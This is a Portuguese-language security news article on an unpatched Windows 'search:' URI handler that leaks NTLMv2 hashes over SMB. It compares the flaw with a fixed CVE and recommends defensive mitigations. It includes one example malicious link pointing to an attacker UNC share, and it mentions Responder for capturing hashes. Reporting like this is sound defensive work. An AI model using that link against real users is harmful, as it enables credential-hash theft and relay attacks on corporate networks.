Pesquisadores da Huntress descobriram que um manipulador de URI do Windows chamado search: vaza hashes NTLMv2 de usuários para servidores controlados por atacantes, com a mesma técnica da vulnerabilidade CVE-2026-33829 corrigida em abril na Ferramenta de Captura. A diferença: a Microsoft classificou esta variante como “abaixo do limite de correção”, não atribuiu CVE e não lançou patch. Um único clique em um link malicioso — mesmo sem privilégios administrativos e com o Windows Defender ativo — basta para enviar o hash de autenticação do usuário antes que qualquer mensagem de erro apareça na tela.
O mecanismo do vazamento
A vulnerabilidade reside no esquema de URI search:, registrado no Windows Explorer via COM. Quando o usuário clica em um link como search:query=test&crumb=location:\\\10.0.1.100\share, o Windows tenta acessar o caminho UNC especificado, iniciando uma autenticação NTLM automática contra o servidor do atacante. O hash NTLMv2 do usuário — contendo nome de usuário, nome da máquina e desafio criptográfico — é capturado em menos de um segundo com ferramentas como o Responder.
O comportamento foi confirmado no Windows 11 25H2 Pro com usuário padrão, sem privilégios de administrador e com o Defender nas configurações padrão. Na primeira invocação por sessão, o hash vaza. Nas tentativas subsequentes, o Windows bloqueia até o próximo login.
Mesma falha, sem correção
| Aspecto | CVE-2026-33829 (corrigido) | search: URI (sem correção) |
|---|---|---|
| Classe | Vazamento NTLM via URI handler | Vazamento NTLM via URI handler |
| Parâmetro | filePath |
crumb=location: |
| Resultado | Hash NTLMv2 via SMB | Hash NTLMv2 via SMB |
| Superfície | Ferramenta de Captura | Windows Explorer (shell) |
| CVSS | 4.3 (Moderado) | Mesmo vetor |
| Patch | 14 de abril de 2026 | Nenhum |
Ambos os esquemas de URI — search: e search-ms: — compartilham o mesmo DelegateExecute CLSID ({90b9bce2-b6db-4fd3-8451-35917ea1081b}), implementado na biblioteca ExplorerFrame.dll. Qualquer correção real precisa atingir o componente SearchExecute no nível do Explorer, não o esquema de URI individual. A MSRC confirmou que a diferença entre os dois casos foi puramente subjetiva: um foi tratado como “exceção” e o outro não.
Risco real em ambientes corporativos
Em redes corporativas com Active Directory, um hash NTLMv2 capturado pode ser usado em ataques de relay contra serviços internos como Exchange, SQL Server e file shares. O atacante não precisa instalar malware — basta enviar um link por e-mail, mensagem ou documento Office. A engenharia social continua sendo o vetor mais eficaz, e esta vulnerabilidade amplifica o risco porque o Windows Defender não gera alertas e o usuário só vê uma mensagem genérica de erro após o vazamento.
Como se proteger
A miticação mais eficaz é bloquear tráfego SMB de saída (TCP/445 e TCP/139) em estações de trabalho que não precisam acessar shares externos — isso elimina toda a classe de vazamentos NTLM por URI. Em paralelo, impor SMB Signing em controladores de domínio impede que hashes capturados sejam usados em relay. Para maior proteção, configurar RestrictSendingNTLMTraffic para o valor 2 (negar tudo) via GPO, com auditoria prévia para evitar quebras. Equipes de segurança devem monitorar URLs search: e search-ms: em logs de proxy e fluxo de e-mail — nenhum desses esquemas pertence ao tráfego legítimo. A análise de vulnerabilidades deve incluir testes de URI handlers além de patches de CVEs.